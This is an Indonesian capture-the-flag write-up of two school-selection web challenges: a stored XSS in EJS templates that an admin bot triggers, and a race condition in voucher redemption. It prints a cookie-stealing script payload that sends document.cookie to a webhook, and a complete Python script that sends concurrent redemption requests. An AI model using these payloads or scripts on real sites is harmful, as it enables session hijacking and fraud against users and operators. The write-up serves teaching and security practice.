titippesan

Challenge Description

so di sini, peserta mendapatkan link suatu website beserta zip source nya, berikut isi dari zip source nya

titippesanunzip l

Analysis

kerentanan nya berada pada file src/views/admin.ejs dan src/views/admin-message.ejs

admin.ejs:

1
<%- include('partials/header', { user, title: 'Inbox admin' }) %>
2
<div class="page-head">
3
  <h1>Inbox</h1>
4
  <p><%= unread %> pesan belum dibaca. Klik untuk membaca penuh.</p>
5
</div>
6
<% if (messages.length === 0) { %>
7
  <div class="empty">Inbox kosong. Warga belum nitip pesan.</div>
8
<% } else { %>
9
  <div class="list">
10
    <% messages.forEach(function(m) { %>
11
      <a class="row pesan-link" href="/admin/messages/<%= m.id %>">
12
        <span>
13
          <span class="judul"><%- m.title %></span>
14
          <% if (!m.is_read) { %><span class="badge baru">baru</span><% } %>
15
          <br><span class="sub">dari <strong><%= m.sender %></strong> &middot; #<%= m.id %></span>
16
        </span>
17
        <span class="waktu"><%= m.created_at %></span>
18
      </a>
19
    <% }) %>
20
  </div>
21
<% } %>
22
<%- include('partials/footer') %>

admin-message.ejs:

1
<%- include('partials/header', { user, title: 'Baca pesan' }) %>
2
<a class="back" href="/admin/messages">&larr; Kembali ke inbox</a>
3
<div class="pesan">
4
  <div class="pesan-head">
5
    <h2><%- msg.title %></h2>
6
    <div class="pesan-meta">Dari <%= msg.sender %> &middot; <%= msg.created_at %></div>
7
  </div>
8
  <div class="pesan-body"><%- msg.body.replace(/\n/g, '<br>') %></div>
9
</div>
10
<%- include('partials/footer') %>

sekilas kedua file di atas terlihat normal, tapi perhatikan tag ejs yang dipakai untuk me-render data user:

<%= ... %> → output di-escape (aman dari xss)
<%- ... %> → output mentah / tidak di-escape

judul (<%- m.title %>) dan isi pesan (<%- msg.body ... %>) dirender mentah, dan itu titik masuknya

sekarang telusuri dari hulu (input) sampai hilir (bot admin) untuk memastikan alurnya bener bener nyambung

1. input: pesan disimpan tanpa sanitasi (`src/routes/messages.js`)

1
router.post('/message', requirelogin, (req, res) => {
2
  const title = string(req.body.title || '').trim();
3
  const body = string(req.body.body || '').trim();
4

5
  if (title.length < 3 || title.length > 120) {
6
    // ... 400 ...
7
  }
8

9
  if (body.length < 5 || body.length > 5000) {
10
    // ... 400 ...
11
  }
12

13
  const info = db.get().prepare(
14
    'insert into messages (user_id, title, body) values (?, ?, ?)'
15
  ).run(req.user.id, title, body);
16

17
  // ...
18
});

validasi yang ada cuma panjang karakter, tidak ada stripping tag html, tidak ada sanitasi, dan tidak ada encode

html/js apa pun yang dikirim lewat form judul pesan / isi pesan tersimpan lengkap di sqlite

artinya ini stored xss, bukan reflected: payload mengendap di db dan dieksekusi setiap kali halaman admin dibuka

2. output: bukan cuma halaman admin yang rentan

selain dua file admin di atas, halaman user biasa juga me-render mentah:

src/views/messages.ejs

1
<%- m.title %>

src/views/message-detail.ejs

1
## <%- msg.title %>
2

3
...
4

5
<%- msg.body.replace(/\n/g, '<br>') %>

ini berguna untuk attacker: payload bisa dites dulu di sesi sendiri (buka /messages/ milik sendiri, lalu lihat apakah script jalan) sebelum menunggu bot admin.

sementara field yang di-escape seperti <%= msg.sender %> dan <%= m.created_at %> tidak bisa dipakai karna username dibatasi regex ^[a-z0-9_]{3,20}$ saat register, jadi tidak ada celah lewat situ

1
res.cookie('session', token, {
2
  httponly: false,
3
  samesite: 'lax',
4
  path: '/',
5
  maxage: 7 * 24 * 60 * 60 * 1000
6
});

token dibuat dari crypto.randombytes(32).tostring('hex') 64 hex char, tidak bisa ditebak, dan sesi disimpan di tabel sessions lalu dicek ulang di db setiap request (src/middleware/auth.js → loadsession).

jadi tidak ada jalan memalsukan session, satu-satunya cara mendapatkan sesi admin adalah mencurinya, dan httponly: false membuat document.cookie bisa dibaca oleh javascript

ini kondisi yang sengaja disiapkan untuk diexploit

tambahan: tidak ada middleware csp/helmet di src/server.js, jadi <script> inline dari pesan ga dibokir browser saat page admin dibuka

4. target: flag hanya untuk admin (`/src/routes/admin.js`)

1
router.get('/admin/flag', requireadmin, (req, res) => {
2
  const flag = process.env.flag || 'smkn24{flag_belum_dikonfigurasi_hubungi_panitia}';
3
  res.render('admin-flag', { user: req.user, flag });
4
});

requireadmin ngereject non-admin (redirect ke /login kalau belum login, 403 kalau sudah login tapi bukan admin)

eksekutor: bot admin (`src/bot.js`)

1
const crypto = require('crypto');
2
const db = require('./db');
3

4
let running = false;
5

6
function sleep(ms) {
7
  return new Promise((r) => setTimeout(r, ms));
8
}
9

10
async function ensureAdminSession(username) {
11
  const database = db.get();
12
  const admin = database.prepare('SELECT * FROM users WHERE username = ?').get(username);
13
  if (!admin) return null;
14
  const token = crypto.randomBytes(32).toString('hex');
15
  database.prepare('INSERT INTO sessions (token, user_id) VALUES (?, ?)').run(token, admin.id);
16
  return token;
17
}
18

19
async function visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs) {
20
  const { chromium } = require('playwright');
21
  const browser = await chromium.launch({
22
    headless: true,
23
    args: [
24
      '--no-sandbox',
25
      '--disable-setuid-sandbox',
26
      '--disable-dev-shm-usage',
27
      '--disable-gpu'
28
    ]
29
  });
30
  try {
31
    const context = await browser.newContext();
32
    await context.addCookies([{
33
      name: 'session',
34
      value: sessionToken,
35
      domain: new URL(baseUrl).hostname,
36
      path: '/',
37
      httpOnly: false,
38
      sameSite: 'Lax'
39
    }]);
40
    const page = await context.newPage();
41

42
    await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 });
43
    await page.waitForTimeout(1500);
44

45
    let links = [];
46
    try {
47
      links = await page.$$eval('a.pesan-link', (as) => as.map((a) => a.getAttribute('href')));
48
    } catch (e) {
49
      links = [];
50
    }
51
    links = (links || []).filter(Boolean).slice(0, 100);
52

53
    for (const href of links) {
54
      const url = href.startsWith('http') ? href : baseUrl + href;
55
      try {
56
        await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 15000 });
57
        await page.waitForTimeout(perMessageWaitMs);
58
      } catch (e) {
59
      }
60
    }
61

62
    try {
63
      await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 });
64
      await page.waitForTimeout(1500);
65
    } catch (e) {}
66

67
    await context.close();
68
  } finally {
69
    await browser.close().catch(() => {});
70
  }
71
}
72

73
async function loginAndGetCookie(baseUrl, username, password) {
74
  const { chromium } = require('playwright');
75
  const browser = await chromium.launch({
76
    headless: true,
77
    args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu']
78
  });
79
  try {
80
    const context = await browser.newContext();
81
    const page = await context.newPage();
82
    await page.goto(baseUrl + '/login', { waitUntil: 'domcontentloaded', timeout: 15000 });
83
    await page.fill('input[name="username"]', username);
84
    await page.fill('input[name="password"]', password);
85
    await Promise.all([
86
      page.waitForNavigation({ waitUntil: 'domcontentloaded', timeout: 15000 }).catch(() => {}),
87
      page.click('button[type="submit"]')
88
    ]);
89
    const cookies = await context.cookies();
90
    const sess = cookies.find((c) => c.name === 'session');
91
    await context.close();
92
    return sess ? sess.value : null;
93
  } finally {
94
    await browser.close().catch(() => {});
95
  }
96
}
97

98
async function startBot({ baseUrl, username, password, intervalMs }) {
99
  if (running) return;
100
  running = true;
101

102
  const wait = Math.max(8000, intervalMs || 15000);
103
  const perMessageWaitMs = Number(process.env.BOT_PAGE_WAIT_MS || 3500);
104

105
  console.log(`[bot] start, baseUrl=${baseUrl} interval=${Math.round(wait / 1000)}s`);
106

107
  for (let i = 0; i < 30; i++) {
108
    try {
109
      const res = await fetch(baseUrl + '/healthz');
110
      if (res.ok) break;
111
    } catch (e) {}
112
    await sleep(1000);
113
  }
114

115
  let sessionToken = null;
116
  if (password) {
117
    for (let i = 0; i < 3; i++) {
118
      try {
119
        sessionToken = await loginAndGetCookie(baseUrl, username, password);
120
        if (sessionToken) {
121
          console.log('[bot] login via form berhasil.');
122
          break;
123
        }
124
      } catch (e) {
125
        console.log('[bot] login percobaan gagal:', e.message);
126
      }
127
      await sleep(2000);
128
    }
129
  }
130
  if (!sessionToken) {
131
    sessionToken = await ensureAdminSession(username);
132
    if (sessionToken) console.log('[bot] memakai sesi admin internal.');
133
  }
134
  if (!sessionToken) {
135
    console.error('[bot] tidak bisa mendapatkan sesi admin, bot berhenti.');
136
    return;
137
  }
138

139
  for (;;) {
140
    try {
141
      await visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs);
142
      const row = db.get().prepare('SELECT token FROM sessions WHERE token = ?').get(sessionToken);
143
      if (!row) {
144
        console.log('[bot] sesi hilang, membuat sesi baru.');
145
        if (password) {
146
          const t = await loginAndGetCookie(baseUrl, username, password).catch(() => null);
147
          sessionToken = t || await ensureAdminSession(username);
148
        } else {
149
          sessionToken = await ensureAdminSession(username);
150
        }
151
      }
152
    } catch (e) {
153
      console.log('[bot] putaran gagal:', e.message);
154
    }
155
    await sleep(wait);
156
  }
157
}
158

159
module.exports = { startBot };

bot playwright login sebagai admin, lalu tiap interval(bot_interval, 60 detik):

buka /admin/messages,
kumpulkan semua link a.pesan-link (maks. 100 pesan newest),
buka tiap /admin/messages/:id satu per satu dan nunggu +-3,5 detik (bot_page_wait_ms) biar js sempet jalan,
repeat selama server jalan, tiap pesan otomatis ditandai is_read = 1 oleh route nya

Proof of Concept

1. register akun

setelah regis akan langsung diarahin ke dashboard,

dashboard

2. kirim payload via fitur “kirim pesan ke admin”

kirimpesan

karna mau ambil cookie si bot, maka kita buat payload seperti ini:

1
<script>fetch('<WEBHOOK>'+document.cookie)</script>

titipesanpayload

kirim,

menunggu

dan tunggu (karna bot visit tiap 60 detik)

udahdibaca

cek webhook

webhook

reload page, nanti akan langsung logged in as admin

admindashboard

tinggal klik flag yang ada di navbar

Flag

1
SMKN24{jarang_jarang_ni_soal_client_side_web_di_seleksi_sekolah_hehehehe}

takbiran ya balapan

challenge description

so di sini, peserta dikasih link website beserta zip source nya, berikut isi dari zip source nya

takbiranunzip

isinya frontend lengkap sama backend sebagian. yang disembunyiin cuma src/routes/redeem.js sama src/helpers.js, sisanya dikasih semua. jadi buat bagian redeem harus ditemuin sendiri secara blackbox, tapi saat seleksi, gw udah kasih hint yang obvious straight to the point, yaitu race condition

deskripsi soalnya kurang lebih gini:

1
takbiran ya balapan!
2

3
panitia takbiran rt 06 bagi bagi thr voucher.
4

5
- daftar langsung dapat 1000 poin.
6
- ada voucher bocoran: takbiran2026 (+500 poin, sekali pakai).
7
- kumpulin saldo sampai 5000 poin buat buka amplop thr sultan.
8

9
katanya voucher cuma bisa dipakai sekali... tapi bedug kalau dipukul bareng bareng
10
suaranya jadi dobel. takbiran ya balapan!
11

12
http://<host>:3000

analysis

saat dibuka link nya, begini kira kira tampilan website nya: takbiran

terdapat fitur regis dan login, sesudah login kira kira begini tampilan nya:

takbirandasboard

dan setelah login itu, terdapat hanya 1 fitur yang benar benar nyambung ke vuln race condition, yaitu redeem voucher

proof of concept

gw disini ngasih 2 PoC, via automatic script dan manual via burp (sesuai hint yang gw kasih pas seleksi)

python script

1
import sys
2
import random
3
import string
4
import requests
5
from concurrent.futures import ThreadPoolExecutor
6

7
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
8
VOUCHER = "TAKBIRAN2026"
9
WORKERS = 20
10

11
def rand_user():
12
    suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
13
    return f"togomigi_{suffix}"
14

15
def main():
16
    s = requests.Session()
17
    username = rand_user()
18
    password = "takbir123"
19
    r = s.post(f"{BASE}/api/register", json={"username": username, "password": password}, timeout=10)
20
    print(f"register {username}: {r.status_code} {r.text[:200]}")
21
    if r.status_code != 200:
22
        r = s.post(f"{BASE}/api/login", json={"username": username, "password": password}, timeout=10)
23
        print(f"login fallback: {r.status_code}")
24

25
    r = s.get(f"{BASE}/api/me", timeout=10)
26
    print(f"saldo awal: {r.text[:200]}")
27

28
    def redeem_one(i):
29
        try:
30
            resp = s.post(f"{BASE}/api/redeem", json={"code": VOUCHER}, timeout=15)
31
            try:
32
                j = resp.json()
33
            except Exception:
34
                j = resp.text[:200]
35
            print(f"    [{i}] {resp.status_code} {j}")
36
            return resp
37
        except Exception as e:
38
            print(f"    [{i}] error {e}")
39
            return None
40

41
    print(f"kirim {WORKERS}x POST /api/redeem secara berbarengan")
42
    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
43
        list(ex.map(redeem_one, range(WORKERS)))
44

45
    r = s.get(f"{BASE}/api/me", timeout=10)
46
    print(f"saldo akhir: {r.text}")
47

48
    r = s.get(f"{BASE}/api/flag", timeout=10)
49
    print(f"flag: {r.status_code} {r.text}")
50
    try:
51
        j = r.json()
52
        if j.get("ok") and "flag" in j:
53
            print(f"\n[SUCCESS] {j['flag']}")
54
            return
55
    except Exception:
56
        pass
57
    print("\nBelum dapet flag")
58

59
if __name__ == "__main__":
60
    main()

jadi script itu cuma ngeregis dan login random username (biar bisa dipake berkali kali solvernya) dan ngirim request post ke endpoint redeem voucher sebanyak 20 request (dengan code yang voucher yang sama) secara berbarengan (race condition)

output:

scriptflagtakbiran

via burpsuite

regis dan login seperti biasa, trus nyalain proxy pas mau redeem voucher buat nangkep request post nya

catchreqpostredeem

trus send to repeater

repeater

sesuain kode voucher nya dengan TAKBIRAN2026 dan bikin duplicate request nya di repeater sampe total ada 20 request

copy

trus klik kanan pada salah satu tab request, dan klik add tab to group

group

trus pas mau send, klik panah samping kanan button send request nya, trus pilih kirim secara parallel

opsi

dan kirim

dashboardlagi

buka amplop, dan flagtakbiran

flag

1
SMKN24{takbiran_yh_balapan_togomigi1337}

LKS internal selection 2026 writeup